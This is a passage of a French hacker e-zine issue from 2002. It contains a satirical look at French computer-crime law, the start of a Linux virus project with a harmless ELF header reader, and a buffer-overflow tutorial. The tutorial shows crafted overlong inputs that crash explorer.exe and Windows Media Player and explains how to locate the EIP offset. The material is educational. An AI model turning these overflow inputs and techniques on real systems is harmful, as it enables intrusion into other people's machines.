Copy Link
Add to Bookmark
Report

Input Output Magazine Issue 04

eZine's profile picture
Published in 
Input Output Magazine
 · 7 Nov 2020

  

The Input Output Corporation
http://www.rootshell.be/~ioc


.oO() P R E S E N T S ()Oo.

_
________ | |__ __
|__ __|| _ \ / \
| | | | | || - /
|__| |_| |_| \____|
__ __ __ ___ __ __ ________ ___ __ __ ________ ___ __ __ ________
| || '_ \ / _ \ | | | ||__ __| / \ | | | ||_ _ |/ - \| | | ||_ _|
| || | | || __/ | - | | | | [ ] || - | | | | __/| - | | |
|__||__| |__||__| \______| |__| \_____/ \______| |__| |__| \______| |__|
__ ____ __ __ _ ___ __ _ _____ __ __ __ __
| '_ '_ \ / ' | / \ / ' ||__ / | || '_ \ / \
| | | | | || [ ] || - || [ ] | / /_ | || | | || - /
|__| |__| |__| \____| \__ | \____| /____||__||__| |__| \____|
|___/

-------------------------------------------
_ _
_ Issue#4 14 Juillet 2002 _

-------------------------------------------










\\\|///
\\ - - //
( @ @ )
-=-=oOOo=-(+)-oOOo-=-=-=-oO0() D I S C L A M E R ()0Oo-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-

La lecture de cette publication électronique implique la lecture de ce disclaimer.
Le présent numéro a pour unique vocation de présenter aux lecteurs divers aspects de ce
vaste domaine qu'est la sécurité informatique, afin de leur donner les moyens de faire
façe à d'éventuelles attaques. Nous n'incitons aucunement nos lecteurs à se livrer à des
actes de piratages ni à quelqu'autre activité illicite. Les auteurs de cette publication
déclinent toute responsablité quant à l'usage qui peut être fait des informations allant
être diffusées ci-aprés. Le contenu du magazine et de son site est sous copyright IOC
(2001 - 2002) à moins que le contraire ne soit indiqué. Permission est accordée de citer
ou reproduire tout ou partie d'un article, si celui-ci conserve les crédits d'origine.

-=-=-=-=-=-=-=-Ooooo-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
( )
ooooO ) /
( ) (_/
\ (
\_)








.:*$$$$$*:.
*-- --* ,
( (. )~(. )/ )
=-=-=-=-=-=-=-=-=-=-=-=-=-=-oO0() E D I T O ()0o=-=-=-=-=-oOOo-=-=-=(o)-=-=-oOOo-=-

Bienvenue dans cette edition estivale du magazine IOC. Il y a un an jour pour jour,
nous vous faisions par d'un heureux évenement, la naissance du groupe ; aujourd'hui,
le beau bébé vient de souffler sa premiere bougie ! Nous tenions à remerciers tous
nos collaborateurs et partenaires d'avoir rendu cela possible ; plus que jamais
c'est vous qui faîtes vivre ce magazine et cette nouvelle issue est là pour nous le
rapeller encore une fois. C'est ainsi que nous avons eu le plaisir de conçevoir ce
numéro avec l'adie de Li0n7 et Jackniels. Les partenariats s'enchaînnent
dans tous les sens. Dabord avec le groupe Hianda : à titre exceptionnel, Abël s'est
en effet joint à nous pour ce numero. Autre partenariat en cours cette fois-ci avec
nos amis de Newffr.org qui viennent de mettre notre magazine en ligne depuis chez
eux, juste a cote de Phrack =) ! http://www.neffr.org/~area : merci du coup de main
les gars. Nous profitons de l'edito pour saluer l'equipe de Frag, nouveau magazine
francais, dont le premier numero est à paraitre sous peu : http://jahnastah.org,
gardez cette adresse à l'oeil. Notez également que Phrack #59 ne vas pas tarder lui
non plus ; comme nous le faisait remarquer ohzon l'autre soir sur #hianda, ça va en
faire de la lecture pour les vacances =) ! Si vous souhaitez nous proposer un sujet
d'article ou nous faire part de critiques/conseils en vue de nous aider à améliorer
le magazine, ne vous gênez surtout pas. Bonne lecture !











___ ___ __ ____ __ __ ____ __ __ _ __ ____ __
/ __/ / \ | '_ '_ \ | '_ '_ \ / ' || || __| / \
\__ \| [ ] || | | | | || | | | | || [ ] || || | | - /
|___/ \_____/ |__| |__| |__||__| |__| |__| \____||__||_| \____|


------------------------------------------------------------
| Auteur | n° | T i t r e |
------------------------------------------------------------
| Neofox |I. | Law is Law |
------------------------------------------------------------
| Abël |II. | Linux Virii Project (Part. 1) |
------------------------------------------------------------
| Emper0r |III. | Introduction aux BoF Win32 |
------------------------------------------------------------
| Neofox |IV. | Wtmp is your frieind |
------------------------------------------------------------
| MeiK |V. | Language C : Les Pointeurs |
------------------------------------------------------------
| Li0n7 |VI. | Programmation d'un Smurfer |
------------------------------------------------------------
| Jackniels |VII. | Network Perl Coding |
------------------------------------------------------------
| MeiK |VIII.| Challenge Hackerslab (Part.1) |
------------------------------------------------------------
| Li0n7 |IX. | Programmation d'un Sniffer |
------------------------------------------------------------
| MeiK |X. | Les Algorithmes en Info |
------------------------------------------------------------
| Emper0r |XI. | Shell script & Perl script infection |
------------------------------------------------------------
| Neofox |XII. | Trojanisez vos Binaires |
------------------------------------------------------------
| Li0n7 |XIII.| BoF & shellcodes x86 Howto |
------------------------------------------------------------


-=-=-=-=-=-=-=-=-=-=-=-
Contenu de l'archive
-=-=-=-=-=-=-=-=-=-=-=-

¤ ioc4.txt
¤ virus.zip
¤ passwd.tar.gz








-----------------------------------------------------------------------------------------
I. Law is Law Neofox
-----------------------------------------------------------------------------------------


<< La Loi, c'est moi ! >>
- Judge Dred


[ Introduction ]

Préférant d'ordinaire les textes techniques aux palabres inutiles, je vous propose
quand même un peu de blabla ; ça n'a jamais tué personne me direz vous, c'est vrai,
ce n'est pas non plus avec ça que l'on remplit un mag.
J'ai pourtant pensé que ce petit article serait l'occasion de faire le point avec
humour, sur nos droits, ou plus exactement nos non-droits. Comme,même dans un
moment de détente, j'aime que les choses soient bien faites, c'est avec à la main
le Code Pénal Dalloz 2002, que j'achève cette introduction. Bien que j'aborde ce
thème sur un ton léger et détendu, ce n'est pas une raison pour minimiser les risques
que vous encourez en cas de fraude ; ces derniers sont bien réels, soyez en assurés.








++++ | Partie 1 : Généralités | ++++



Je vous livre ici un point de vue personnel sur la question, cela n'engage QUE moi,
les autres membres du groupe et auteurs ayant pris part à ce magazine ne peuvent en
rien être tenus pour responsables de mes propos et vous êtes libres de partager ou
non mon point de vue. Rendons nous d'emblai aux passages qui nous intéressent :

<<
Art. 323-1 Le fait d'accéder ou de se maintenir, frauduleusement, dans tout ou partie
d'un système de traitement automatisé de données est puni d'un an d'emprisonnement et
de 100 000F d'amende. Lorsqu'il en est résulté soit la suppression ou la modification
de données contenues dans le système [ ... ], la peine est de deux ans d'emprisonnement
et de 200 000F d'amandes. >>


Art. 323-2 :

<< Le fait d'entraver ou de fausser le fonctionnement d'un système de traitement
automatisé de données est puni de 3 ans d'emprisonnement et de 300 000F d'amende. >>


NB: Ca fait cher le datagrame ICMP ...



Art. 323-3 :
<< Le fait d'introduire frauduleusement des données dans un système de traitement
automatisé de données ou de supprimer ou de modifier les données qu'ils contient est puni
de 3 ans d'emprisonnement et de 300 000F d'amende. >>




Remarque :
Y a un truc illogique ici : dans le 323-1 on nous dir que lorsqu'il en résulte la modification
de données, la peine est de 2ans et de 200batons ; alors que dans le 323-3, nous venons de
voir, que "le fait [...] de modifier les données qu'ils contient" vous donne droit non plus
a 2ans et 2batons, mais 3ans et 3batons !? Faut se mettre d'accord là ...

Vous constaterez aussi l'implacable logique de la justice française qui maîtrise à la perfection
l'art subtil de la multiplication. En fait, c'est comme au tiercé ; vous cochez votre pari,
disons, "1an et 1baton", puis vous choisissez votre mise : x1, x2 ou x3 !

Encore un peu ...



Art. 323-4:
<< La participation à un groupement formé ou à une entente établie en vue de la
participation [...] d'une ou de plusieurs infractions prévues par les articles 323-1 à
323-3 est punie des peines prévues pour l'infraction elle même. >>

NB: Tarif de groupe



Art. 323-7:
<< La tentative des délits prévus par les articles 323-1 à 323-3 est punie des
mêmes peines. >>


NB: tous les coups on gagne ! Réflexion faite, c'est mieux qu'au tiercé.

Je tiens à préciser qu'il est pour ma part navrant de constater que de nos jours, la
justice se veut plus implacable envers le piratage informatique qu'envers les coups et
blessures volontaires à l'arme blanche et violences en réunion ; on se comprend ...






++++ | Partie 2 : La Dure Réalité, résumé | ++++




Si toute fois un détail vous avait échappé, vous trouverez cî-aprés une synthèse
plus parlante :



[toto@whitehat ~/toto]$ rlogin -l root dalloz.justice.fr Art. 323-1 -100000F
dalloz# ./smurf perdu.com Art. 323-2 -300000F
dalloz# ./vanish root whitehat 111.222.123.111 Art. 323-3 -300000F
xchat> /join #ioc Art. 323-4 -100000F
________________________

Total -800000F TTC





opératrice _ << Votre compte est débiteur de 800000F >>
n[EOF]ox _ << Et en euros, ça fait combien ? >>













---------------------------------------------------------------------------------------
II. Linux Virii Project (Part. I) Abël
---------------------------------------------------------------------------------------



[ Introduction ]

Voilà c'est ma toute première prestation pour IOC et je suis fier de participer
à l'aventure! Pour les personnes, qui ne connaissaient pas Hianda avant la fusion
des mags avec IOC, nous avions comme projet de créer un virus pour Linux basé sur
les travaux de Silvio Cesare. Je pense qu'au fil des issues, une série d'article
sur le projet devrait voir le jour.

Suite à quelques ennuies avec la justice, je rappelle aux simples d'esprits et à
ceux qui ne voient pas plus loin que le bout de leur nez qu'il s'agit d'un projet
à objectif sécuritaire qui pourrait déboucher sur un anti-virus. La fusion des
deux zines étant amicale et en rien une vilaine O.P.A, je vous tiens donc au
courant de l'avancé du projet.

Et je suis heureux de vous dire que le projet avance...
Si vous voulez en savoir plus rendez-vous sur le site du groupe (www.hianda.fr.st)
rubrique "project", là bas vous trouverez une dizaine de textes traitant du sujet.





0x01. Rappel :
______________


Pour la bonne compréhension de cet article, il est nécessaire que vous ayez un
minimum de connaissances sur le format ELF. Je vous conseil donc d'allez lire
l'article "Executable And Linkable Format(ELF)" présent sur mon site. Comme je
sais que la moitié des lecteurs ne liront pas l'article cité ci-dessus, et que
je suis d'une extrème bontée, je vais tout de même vous faire un petit rappel
sur le format ELF.

ELF signifie Executable and Linking Format, ce qui correspond entre autre au
format des binaires sous Linux. Il existe plusieurs types de fichiers objets
utilisant le format Elf (=e_type), voici un extrait du fichier <elf.h>:

/* Legal values for e_type (object file type). */

#define ET_REL 1 /* Relocatable file */
#define ET_EXEC 2 /* Executable file */
#define ET_DYN 3 /* Shared object file */




[ Comment s'organise un ELF ]

Un binaire au format ELF est organisé en plusieurs parties, voici une
représentation simplifiée de l'organisation physique d'un fichier objet
au format ELF :


ELF Header
Program header table
Segment 1 # Segment de texte
Segment 2 # Segment de donnée
Section header table
Section 1
.
.
Section n

Lorsque l'on lance un binaire, le système va lire la program header table afin
de pouvoir grace aux informations contenues dans cette dernière créer l'image
du binaire en mémoire. Voici comment s'organise l'image du binaire en mémoire :


#1 [TTTTTTTTTTTTTTTT]
#2 [TTTTTTTTTTTTTTTT]
#3 [TTTTTTTTTTTTPPPP]
#4 [PPPPDDDDDDDDDDDD]
#5 [DDDDDDDDDDDDDDDD]
#6 [DDDDDDDDDDDDPPPP]

T = Texte
P = Padding (remplissage)
D = Données


Le padding sert à compléter les segments pour que chaque page représentée
par #1,2,3,4,5,6 fasse 4 Ko.



Si nous résumons :

Linking View Execution View
============ ==============
ELF header ELF header
Program header table (optional) Program header table
Section 1 Segment 1
... Segment 2
Section n ...
Section header table Section header table (optional)


Comme vous pouvez le voir, les fichiers objets au format ELF sont composés
de plusieurs parties. Aujourd'hui nous allons nous intéresser à l'une de
ces parties : le Header ELF.



0x02. Le Header Elf :
_____________________


Commençons par jeter un petit coup d'oeil au fichier <elf.h> :

/* The ELF file header. This appears at the start of every ELF file. */

typedef struct
{
unsigned char e_ident[EI_NIDENT]; /* Magic number and other info */
Elf32_Half e_type; /* Object file type */
Elf32_Half e_machine; /* Architecture */
Elf32_Word e_version; /* Object file version */
Elf32_Addr e_entry; /* Entry point virtual address */
Elf32_Off e_phoff; /* Program header table file offset */
Elf32_Off e_shoff; /* Section header table file offset */
Elf32_Word e_flags; /* Processor-specific flags */
Elf32_Half e_ehsize; /* ELF header size in bytes */
Elf32_Half e_phentsize; /* Program header table entry size */
Elf32_Half e_phnum; /* Program header table entry count */
Elf32_Half e_shentsize; /* Section header table entry size */
Elf32_Half e_shnum; /* Section header table entry count */
Elf32_Half e_shstrndx; /* Section header string table index */
} Elf32_Ehdr;



Les commentaires étant assez réduit, je vais approfondir un peu :

o e_entry : Cette partie indique au système à l'aide d'une adresse
virtuelle le point d'entrer à partir duquel le programme
débute, transfert les donnés, puis lance le processus en
mémoire. Si le fichier n'a pas de point d'entré, sa valeur
est de zéro.

o e_phoff : Contient l'offset en bytes à partir de la table "Program Header".

o e_shoff : Contient l'offset en bytes à partir de la table "Section Header".

o e_ehsize : Represente la taille en bytes du Header Elf.

o e_phentsize : Represente la taille en bytes de la table "Program Header".

o e_shentsize : Represente la taille en bytes de la table "Section Header".

o e_phnum : Contient le nombre d'entrées dans la table "Program Header".

o e_shnum : Contient le nombre d'entrées dans la table "Section Header".




[ graphique récapitulatif ]


================================================================
File header
================================================================

file
offset
-----------------------------------------------
0 | ELF file magic |
-----------------------------------------------
4 | bitness | endian | ELF ver | reserved |
-----------------------------------------------
8 | reserved |
-----------------------------------------------
0Ch | reserved |
-----------------------------------------------
10h | file type | machine |
-----------------------------------------------
14h | ELF ver |
-----------------------------------------------
18h | entry point |
-----------------------------------------------
1Ch | file offset of Program Header (PH) table |
-----------------------------------------------
20h | file offset of Section Header (SH) table |
-----------------------------------------------
24h | flags |
-----------------------------------------------
28h | size of this header | PH table entry size |
-----------------------------------------------
2Ch | entries in PH table | SH table entry size |
-----------------------------------------------
30h | entries in SH table |.shstrtab section index|
-----------------------------------------------
34h




0x03. Lecteur d'Header ELF :
____________________________

Avant de se lancer dans l'écriture d'un virus ou même dans une infection
(sur SA machine), il est très important de comprendre concrètement comment
s'organise un binaire Elf physiquement et en mémoire.

Pour étudier un binaire ELF, vous devez faire un ou plusieurs programmes
capables de lire "l'architecture" du fichier ELF, c'est à dire ses spécificitées.
Ces types de programmes ne sont pas vraiment difficiles à coder et ont l'avantage
d'être très instructifs, le tout est de bien lire et comprendre le fichier <elf.h>.

Je viens de découvrir une librairie du nom de "libelf" qui devrait théoriquement
vous faciliter la tache enfin en théorie seulement car je l'ai testé (rapidement)
et celle-ci ne me donne pas entière satisfaction ; si quelqu'un réussi à maitriser
la "chose", je suis preneur ...


Voici pour le moment un éditeur d'Header Elf codé par mes soins :


/*
* Title: ELFORCE
* Author: Abël for IOC MAG
* Date: 01/04/02 <°(((-<
* About: Lecteur d'Header Elf for Linux Virii Project
* Gr33tz to: #hianda, Christian Milow, Jamu and IOC
* Site: www.hianda.fr.st
* Zine: www.ioc.unixlover.com
*/


#include <stdio.h>
#include <fcntl.h>
#include <elf.h>

void header(Elf32_Ehdr * a)

{
printf("\n");
printf("e_type : ");
switch ((*a).e_type) { /* a->e_type et (*a).e_type st équivalents */
case 0:
printf("None\n");
break;
case 1:
printf("Relocatable object (.o file)\n");
break;
case 2:
printf("Executable\n");
break;
case 3:
printf("Shared library\n");
break;
case 4:
printf("Core file\n");
break;
default:
printf("Unknown type\n");
}


printf("e_machine : ");
switch ((*a).e_machine) {
case 0:
printf("None\n");
break;
case 2:
printf("SPARC\n");
break;
case 3:
printf("Intel 80386\n");
break;
case 4:
printf("68000\n");
break;
case 8:
printf("MIPS RS3000\n");
break;
default:
printf("Unknown type\n");
}
printf("e_version : ");
switch (a->e_version) {
case 0:
printf("Invalid\n");
break;
case 1:
printf("ELF version 1\n");
break;
default:
printf("Unknown type\n");
}
printf("e_entry : %p\n", (*a).e_entry);
printf("e_ehsize : %d\n", (*a).e_ehsize);
printf("\n");
printf("Info about Program Header\n");
printf("e_phoff : %d\n", (*a).e_phoff);
printf("e_phentsize : %d\n", (*a).e_phentsize);
printf("e_phnum : %d\n", (*a).e_phnum);
printf("\n");
printf("Info about Section Header\n");
printf("e_shoff : %d\n", (*a).e_shoff);
printf("e_shentsize : %d\n", (*a).e_shentsize);
printf("e_shnum : %d\n", (*a).e_shnum);
printf("\n");
}

int main(int argc, char *argv[])
{

int fd;
Elf32_Ehdr *ehdr;

printf("\n");
printf("\t\t\t\t ¤ ELF HEADER ¤\n");
printf("\n");

if (argc<2)
{
printf("Usage: ./elforce <Elf File>\n\n");
exit(1);
}
else
printf("%s\n\n", argv[1]);

if ((fd = open(argv[1], O_RDONLY)) ==-1){
fprintf(stderr, "Error cannot open [ %s ]\n\n",argv[1]);
exit(1);
}

ehdr = (Elf32_Ehdr *) malloc(sizeof(Elf32_Ehdr));
read(fd, ehdr, sizeof(Elf32_Ehdr));
if (strncmp(ehdr->e_ident, ELFMAG, SELFMAG))
{
fprintf(stderr, "Hey!? Are you drunk?? [ %s ] is not an Elf file! ;)\n\n", argv[1]);
exit(1);
}
header(ehdr);

free(ehdr);
close(fd);
return (0);

}

Alors ?? quand je vous disais que ce n'était pas difficile !!



[ Conclusion ]

Voilà, l'article est terminé ; je tiens à préciser que je me suis fortement
inspiré des sources du virus "brundle-fly" (http://www.roqe.org/brundle-fly/)
et de celles du virus "vit" de Silvio Cesare pour écrire "elforce" ( j'ai donc
très peu de mérite ). Je vous conseil d'aller jeter un coup d'oeil sur les
sources de ces virus.













---------------------------------------------------------------------------------------
III. Introduction aux Buffer Overflows Win32 Emper0r
---------------------------------------------------------------------------------------


[ Introduction ]

Cet article est une petite introduction aux Buffer OverFlow (BoF) sous windows.
Même s'il s'adresse aux débutants et que je vais essayer de rappeler quelques
bases, il est préférable d'avoir quelques notions de programmation assembleur
pour être plus à l'aise.


Le buffer overflow, ou débordement de tampon, est l'exploitation "d'une mauvaise"
programmation de certains programmes et cela marche aussi bien sur les systemes
Unix/linux que Windows. Dans certains cas on peut passer une variable plus grande
que l'espace que l'on lui a prévu. Si le programmeur ne fait pas de test sur la
longueur de cette variable c'est le plantage ; sous windows on se retrouve avec
un message :

- "Ce programme va être arrêté car il a effectué une opération non conforme"
- Ou alors avec un 'blue screen of death' dans certain cas.

Pourquoi ça plante ? Car le reste des données de la variable qui ne sont pas
rentrées dans le buffer sont allées écraser des registres du processeur ou alors
ont écrasé des donneés importantes dans la mémoire. Nous, ce qui nous arrange,
c'est d'écraser EIP. EIP = Intruction Pointer ; ce registre 32 bits indique la
prochaine instruction à exécuter. Ce registre ne peut être modifié directement
avec une instruction ; seules des instructions de type saut ou 'call', le modifient
indirectement).

Si l'on met ce que l'on veut dans EIP avec un BoF, on peut faire pointer le micro
où l'on veut en memoire. C'est très intéressant, car si notre 'variable' envoyée
au programme contient du code exécutable et que l'on fait pointer le micro sur
cette 'variable', notre code est exécuté sans que l'utilisateur s'en aperçoive.






[ Quelques notions d'assembleur ]

Quelques notions juste très vite fait et seulement ce qui peut nous servir pour
suivre cet article ; ceux qui ont déjà vu de l'asm peuvent sauter ce passage.

Les µp (microprocesseurs) contiennent des registres qui sont des emplacements
de mémoire ayant un rôle spécifique:


Registres de travail ou registres dit généraux:
-----------------------------------------------

EAX, EBX, ECX, EDX :
Ce sont des registres à usages multiples ; pour faire simple on va dire
qu'ils sont utilisés pour stocker des résultats intermédiaires.

Ils peuvent contenir un nombre de 32 bits maximum et sont composés de la
façon suivante:

-------------------------
| EAX | 32 Bits
-------------------------
------------
| AX | 16 Bits
------------
-------
|AH |AL | 8 Bits
-------

Ex: Si EAX = FB1012E0 alors AX=12E0, AH=12, AL=E0



Le registre d'offset EIP
------------------------

Intruction Pointer, ce registre 32 bits indique la prochaine instruction à
exécuter. Ce registre ne peut être modifié directement avec une instruction,
seules des instructions de type saut ou call, le modifient indirectement.


Ex:

EIP = BF521235 Chaque instruction exécutée incrémente EIP ; à cette adresse
se trouve l'instruction 'call 00401024'. EIP va passer à la valeur 00401024 et
le µp va exécuter les instructions en suivant ; cette adresse jusqua ce qu'il
rencontre l'instruction 'ret' ; dans ce cas le µp reviendra juste à l'instruction
située aprés le 'call 00401024' en BF521235. L'adresse de retour est poussée sur
la pile lors de l'exécution du call. Les instructions call servent à appeler des
sous-programmes.

Les instructions de saut modifient aussi EIP par exemple 'jmp 00401024' amène
le µp a exécuter les instructions à cette adresse ; à la différence du "call",
le "jmp" ne sauve pas d'adresse de retour.




La pile
-------

La pile (stack) est un emplacemant ou des données de petites tailles peuvent être
placées. Le système employé pour stocker les données obéit au principe lifo (last
in first out).

Ex1:
push eax
Met sur la pile la valeur de eax

pop eax
Met dans EAX la dernière valeur mise sur la pile


Ex2:
(eax=00000000, ebx=FFFFFFFF)
push eax
push ebx
pop eax
pop ebx
Après ces 4 instructions on a eax=FFFFFFFF et ebx=00000000




Les API windows
---------------

Il y a quelques bonnes explications sur la prog asm et les api dans IOC
magazine issue3 (voir: "Programmation Win32asm" par Disk-Lexic).

On pousse sur la pile les paramètres nécessaires à l'api et on appelle
l'api avec un call.

Ex:
push 0 ;Handle de la messagebox
push offset titre ;Adresse du titre de la fenêtre
push offset message ;contenu de la fenêtre
push 0 ;Type de message box
cal MessageBoxA ;affiche la message box




Voilà la petite intro à l'asm est finie :-) c'était vraiment juste un rappel
en vrac de certaines choses. On passe à l'action.







[ BoF: Exemple1 ]

Allez c'est parti pour un petit exemple que tout le monde peut réaliser
simplement chez soi :) C'est juste un exemple car ce BoF n'est pas 'vraiment'
exploitable je pense ; le texte qui suit me permet d'expliquer de façon assez
simple le fonctionnement des BoF.

D'abord si vous n'avez pas SI (SoftIce) c'est le moment de l'installer, vous
pouvez le télécharger ici: http://linux20368.dn.net/protools/
Il fait dans les 5 ou 6 Mo je crois, les versions win9x et winNt/2000 y sont.

Attention celui-ci ne marche pas sous windows XP, pour XP il faut utiliser
'driver studio' de numega aussi, mais là c'est dans les 30 ou 40 Mo et puis
c'est plus dur à trouver. Pour windows ME il faut un petit loader pour le faire
fonctionner (enfin à mon avis si vous tournez sous WinMe ou winXP, eh bien
installez un bon vieux win98se ou mieux un win2000 sp2 !)

Je ne vais pas m'attarder ici sur une configuration complexe de SI ; une fois
installé rédémarrez le PC (chose habituelle et tres ch***te sous windows), un
chtit Ctrl+d et voilà SI s'ouvre, là tapez ces 3 commandes:

- code on <--- pour avoir la correspondance entre mnémoniques et code hexa
- lines 50 <--- on voit mal sinon
- faults on <--- break à la détection d'erreurs windaube, en général cette
commande est activée par défaut


Pour cet exemple on va prendre un truc tout bête, un problème que contient
explorer.exe pour gérer les extensions longues de plus de 129 caractères.
Ce BoF est normalement présent sur tous les win9x.
(source: http://www.securiteam.com/exploits/5AQ0F000HA.html).

Mon test est réaliseé sur un windows 98se tout ce qu'il y a de plus basique, aucun
patch d'installé, ni UltimePack.

On crée un fichier bidon avec une extension très longue, on ne pas peut le faire
sous windows directement mais un petit fichier .bat va nous faire ça très bien.
On crée un nouveau fichier .txt où on met dedans:

dir *.* > test.aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaa

On enregistre, on renomme le fichier *.txt en *.bat et on lance tout ça.
Ce script va créer un fichier contenant la sortie de la commande dir dans
le répertoire courant, ce fichier va avoir pour nom test avec une extension
très longue.

On sélectionne le fichier par un simple click et softice break, kool !!!
On regarde les registres et on voit eip = 61616161 :-)




Un petit Schéma pour expliquer ça:
__________________________________


-Situation courante:
[ B U F F E R D E L' E X T E N T I O N D U F I C H I E R ][ E I P ]
[txt ][xxxxxxxx]


-Situation qui écrase eip:
[ B U F F E R D E L' E X T E N T I O N D U F I C H I E R ][ E I P ]
[aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa...]


Dans le dernier exemple la valeur xxxxxxxx de eip est écrasée et est remplacée par des
'a' qui ont pour code ascii 61. Voilà pourquoi EIP = 61616161.




Ok c'est bon on va quitter softice avec un petit Ctrl+D, on y reviendra plus
tard. On se retouve avec un message windows qui confirme bien notre situation.

Ce programme va être arrêté car il a effectué une opération non conforme, bla bla bla ...

EXPLORER a causé une défaillance de page dans <--- explorer.exe a planté
le module <inconnu> à 00de:61616161. <--- a l'adresse 00de:61616161 c'est
sur qu'il ne doit pas y avoir la
suite du code prévu à cette adresse,
donc plantage.

Registres :
EAX=61616161 CS=0177 EIP=61616161 EFLGS=00000246 <--- EIP=61616161 ( j'adore :-) )
EBX=80070032 SS=017f ESP=00e4e59c EBP=61616161 <--- la suite on s'en fout un peu
ECX=dedbc9a0 DS=017f ESI=02adeff4 FS=2177
EDX=81a06950 ES=017f EDI=5000d030 GS=0000
Octets à CS : EIP :

État de la pile :
00006161 00000000 792a1dd8 00000000 00e4e658 70c343df 00e4e67c 00000005
00e4e67c 00e4e658 00e4e658 00000000 00e4ea70 00e4ea18 bff7c4bb 00e4ea70


Bon maitenant on passe à une étape un peu longue et pas toujours très marrante
dans l'étude d'un BoF, il faut trouver l'offset (le décalage, l'adresse, l'endroit)
où on peut gribouiller EIP :-)

Voila comment j'ai procédé, je modifie mon fichier .bat de cette facon:

dir *.* > test.aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa123456789abcdefghijklm123456789nopqrst

Je sélectionne le fichier crée, SI break, je note la valeur de EIP.
EIP = 316D6C6B = code ascii de 1mlk (faut inverser l'ordre des octets).

Ici EIP = 316D6C6B.
Je reprends la fin du nom de l'extension de mon fichier, une table ascii et je regarde:

....1 2 3 4 5 6 7 8 9 a b c d e f g h i j k l m 1 2 3 4 5 6 7 8 9 etc.....
| | | |
code ascii: 6B 6C 6D 31


Voilà je viens de trouver l'offset (l'endroit) où est 'écrasé' EIP. Offset 140 en
décimal si j'ai bien compté ;-).

Je peut mettre EIP à la valeur que je veux:

dir *.* > test.aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaXXXXaaaaaaaaaaaaaaa

Il suffit de remplacer le code ascii des XXXX par l'adresse que je veux.
Mais justement, comment trouver l'adresse qui m'intéresse, celle de mon buffer ?
Voici la technique que j'ai utilisé : je reclique sur le fichier qui provoque le BoF,
SI break et maintenant je cherche dans les alentours des registres qui n'ont pas été
écrasés.

Je commence par chercher dans ESP (registre de pointeur pile).
Sous SoftIce on tape:

d esp - 500 l 500

Cette commande affiche les 500 derniers octets qui se trouvent à esp - 500.
Vous pouvez aussi utiliser des softs tels que memory hacker ou memdump qui permettent
de faire des recherhes de chaine de caractères en mémoire.


On voit très nettement en 012AE10C plein de 'a' c'est le buffer de notre extension de
fichier. Chez vous le 012AE10C est très certainement différent.

- 1er point déjà très embêtant : pour exploiter ce BoF les adresses ne sont jamais
les mêmes et encore plus embêtant aucun des registres ne pointe à aucun endroit
de notre buffer :-( On modifie le fichier .bat avec un éditeur hexa pour qu'il
nous crée un fichier qui écrasera EIP avec notre valeur 0CE12A01 (encore une fois
ne pas oublier la fameuse inversion des octets).


- 2eme point très embêtant : ce fichier ne peut être crée car certains codes ascii ne
peuvent pas être utilisés dans un nom ou extension de fichier :-(

- 3eme point embêtant : notre buffer pour placer du code est vraiment restreint, si on
essaie de créer un fichier avec une extension, si je me rappelle bien, de plus de
500 caractères environ, on obtient un message d'erreur et le fichier n'est pas crée.


Conclusion de ce premier exemple:
Je ne pense pas que ce BoF soit exploitable ; j'ai quand même voulu en parler pour
montrer un BoF simple présent dans tout les win9x (c'est vraiment un bof lié a l'os)
pas de besoin de télécharger de programme. En expliquant plusieurs exemples on peut
aussi voir la diversité que peuvent prendre les BoF et la difficulté pour coder
certains exploits.




[ BoF: Exemple2 ]

Dans ce nouvel exemple je vais parler d'un BoF présent dans le windows media player.

Pour réaliser ce BoF on va avoir besoin d'un outil: asfchop.exe, cet outil ce trouve
sur le site de Mirco$oft il faut chercher un peu (quel bordel ce site) il fait partie
d'une suite d'outils pour travailler les fichiers video: Microsoft Windows Resouce Kit.
Ce soft permet d'incorporer des données dans un fichier .asf.

Voici le fichier script.txt qui contient les données a insérer dans le fichier .asf

start_marker_table
0.0 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
0.1 IOC RULEZ
end_marker_table


Pour réaliser cette insertion on utilise 'asfchop' avec la commande suivante:

asfchop -in c:\file0.asf -out file1.asf -script c:\script.txt

On obtient un joli fichier 'file1.asf'. On le lance avec windows media player, et on
